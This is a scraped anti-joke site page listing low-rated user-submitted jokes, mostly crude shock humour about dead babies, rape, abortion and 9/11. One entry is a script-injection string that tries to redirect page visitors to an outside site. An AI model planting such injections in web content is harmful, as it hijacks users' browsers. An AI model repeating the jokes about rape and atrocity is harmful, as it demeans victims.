If you were a booger, I'd pick you and then wash my hands directly after because boogers are gross

thumb_up thumb_down -19

my friend died in a car crash, now i have no friends.

thumb_up thumb_down -19

mitchell palmer sucks

thumb_up thumb_down -19

your mom is so fat, she uses nutrisystem and other weight-loss systems to try to loose weight.

thumb_up thumb_down -19

There was a man who entered a local paper's pun contest. He sent in ten different puns hoping at least one of the puns would win but, unfortunately, no pun in ten did.

thumb_up thumb_down -19

Whats the Difference between a corvette and a pile of dead babies? A Pile of dead babies is basically useless

thumb_up thumb_down -19

What did the 3 month old puppy get for Valentines day? Heart Worms. What'd he get for Christmas? Put down.

thumb_up thumb_down -19

How many gun shots does it take to kill you? 1..2... 3...4... Samantha reapeatedly kept shooting her enemy until she noticed that her enemy was Chuck Norris. So how many gunshots does it take to kill Chuck Norris? The world may never know.

thumb_up thumb_down -19

Q: What's the upside to your otherwise miserable life? A: You only got raped twice last week.

thumb_up thumb_down -19

What did Osama Bin Laden say to his barber? ????? ??? ?????? ??? ?????, which, in their native language means, I would like to get a haircut.

thumb_up thumb_down -19

A homeless guy on the brink of starvation found one dollar lying on the street. He took it and bought a lottery ticket at the local drugstore. God was looking down on him with pity that day and decided that day that he would no longer be a vagabond. The next day, the homeless man won the lottery jackpot, worth 100 million dollars. He declared that on that day, he was the luckiest and happiest man alive. He then woke up in a pile trash.

thumb_up thumb_down -19

We got him in about five minutes, the kid will already be exhausted by the point we get to him, r rather, he gets to us. Pretty quick for a small geek I got to say, the photography we got of him is an obvious Photoshop, but he seems similar enough I guess. I would call, but it seems someone has been messing with all other "Erron`s" homes and phones if I had not dropped mine, I would not have noticed we have been bugged for a while, pretty professional gear too,

thumb_up thumb_down -19

one day a bear was eating for winter he ate about half what he had to and said "Im tired ill take a nap and eat the rest later. one month later he died of starvation

thumb_up thumb_down -19

What's hard when you eat a vegetable? The wheelchair.

thumb_up thumb_down -19

What's the difference between a pile of dead babies and a Corvette? What? I don't have a Corvette in my garage Wanna hear something gross? Sure. 1 at the bottom is still alive. Wanna hear something grosser? Yea. It's eating its way out

thumb_up thumb_down -19

Whats black and can run fast? a panther.... racist

thumb_up thumb_down -19

Q: Why didn't Jack go up the hill? A: He had prior engagements.

thumb_up thumb_down -19

Whats funnier than a barrel full of dead babies? two barrels full of dead babies.

thumb_up thumb_down -19

what kind of pizzas did the twin tower executives order on 9-11? two large "planes"

thumb_up thumb_down -19

What did the douche bag get for Christmas?

thumb_up thumb_down -19

A man is working at a bar. He feels a fly graze his left index finger, which has become a bit sweaty. The man rubs the finger for a moment, then continues to slice grapes for a customers synthetic japanese glue farm.

thumb_up thumb_down -19

"'>document.location.href="http://cramik.org"

thumb_up thumb_down -19

How do you know to start calling a fetus a baby? If it cries when you abort it.

thumb_up thumb_down -19

George W. Bush

thumb_up thumb_down -19

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

Want more? You might be interested in...


Anti-Joke Chicken

Anti-Joke Triceratops